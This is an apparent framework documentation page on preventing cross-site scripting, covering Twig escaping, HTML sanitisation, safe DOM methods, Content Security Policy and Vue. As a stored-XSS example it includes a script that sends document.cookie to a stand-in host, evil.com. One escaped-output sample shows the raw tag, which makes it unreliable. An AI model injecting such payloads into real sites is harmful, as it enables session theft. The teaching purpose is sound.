XSS Prevention
- What is XSS?
- How UserFrosting Protects Against XSS
- JavaScript Best Practices
- Content Security Policy (CSP)
- Vue.js and XSS
What is XSS?
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript into web pages viewed by other users. When successful, XSS can allow attackers to:
- Steal session cookies and impersonate users
- Capture keystrokes and form data
- Deface websites
- Redirect users to malicious sites
- Execute actions on behalf of the victim
There are three main types of XSS:
1. Stored XSS (Persistent)
The malicious script is permanently stored on your server (e.g., in a database) and served to users when they view the affected page.
Example: An attacker posts a comment containing:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
If this is stored and displayed without proper escaping, it will execute in every visitor's browser.
2. Reflected XSS
The malicious script is reflected off the web server in an error message, search result, or any response that includes user input.
Example: A search page that displays:
You searched for: <script>alert('XSS')</script>
3. DOM-based XSS
The vulnerability exists in client-side code that improperly handles user input.
Example:
// Dangerous!
document.getElementById('welcome').innerHTML =
'Welcome, ' + location.hash.substring(1);
An attacker could use a URL like #<script>alert('XSS')</script> to inject code.
How UserFrosting Protects Against XSS
Automatic Output Escaping with Twig
UserFrosting uses Twig as its templating engine, which automatically escapes all output by default. This means that HTML special characters are converted to their safe equivalents:
{# This is safe - Twig automatically escapes the output #}
<p>Welcome, {{ user.name }}</p>
If user.name is <script>alert('XSS')</script>, Twig will output:
<p>Welcome, <script>alert('XSS')</script></p>
The script tag is displayed as text instead of being executed.
Rendering Raw HTML (Use with Caution)
Sometimes you genuinely need to output HTML (e.g., user-generated content with formatting). Twig provides the raw filter for this, but use it with extreme caution:
{# Only use raw with trusted, sanitized content! #}
{{ article.content | raw }}
Caution
Never use the raw filter with unsanitized user input. Always sanitize HTML content using a library like HTML Purifier before storing or displaying it.
Sanitizing HTML Input
If you need to allow users to submit HTML (e.g., rich text editors), you must sanitize it server-side before storing it:
use HTMLPurifier;
use HTMLPurifier_Config;
// Create a sanitizer configuration
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,em,strong,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($userInput);
This removes any dangerous tags and attributes while preserving safe formatting.
JavaScript Best Practices
Avoid innerHTML with User Data
Never use innerHTML or similar methods with unsanitized user input:
// Dangerous!
element.innerHTML = userInput;
// Safe alternatives:
element.textContent = userInput; // For plain text
element.innerText = userInput; // For plain text
Use textContent or createElement
For dynamic content, use safe DOM methods:
// Safe approach
const div = document.createElement('div');
div.textContent = userInput; // Automatically escaped
parent.appendChild(div);
Be Careful with eval() and Similar Functions
Never use eval(), Function(), setTimeout(string), or setInterval(string) with user input:
// Extremely dangerous!
eval(userInput);
setTimeout(userInput, 1000);
// Safe alternatives use functions directly:
setTimeout(() => {
// Your code here
}, 1000);
Validate URLs in Anchors
When creating links dynamically, validate that URLs don't use the javascript: protocol:
// Dangerous if url comes from user input
element.href = url;
// Safer approach
function isSafeUrl(url) {
return url.startsWith('http://') ||
url.startsWith('https://') ||
url.startsWith('/');
}
if (isSafeUrl(url)) {
element.href = url;
}
Content Security Policy (CSP)
Consider implementing a Content Security Policy header to provide an additional layer of protection. CSP restricts what resources can be loaded and executed:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
This tells the browser to only execute scripts from your domain and a trusted CDN, significantly reducing the impact of XSS vulnerabilities.
Vue.js and XSS
If you're using Vue components in UserFrosting:
<template>
<!-- Safe - Vue escapes by default -->
<div>{{ userInput }}</div>
<!-- Dangerous - renders raw HTML -->
<div v-html="userInput"></div>
</template>
Warning
Never use v-html with unsanitized user input. The same sanitization rules apply as with Twig's raw filter.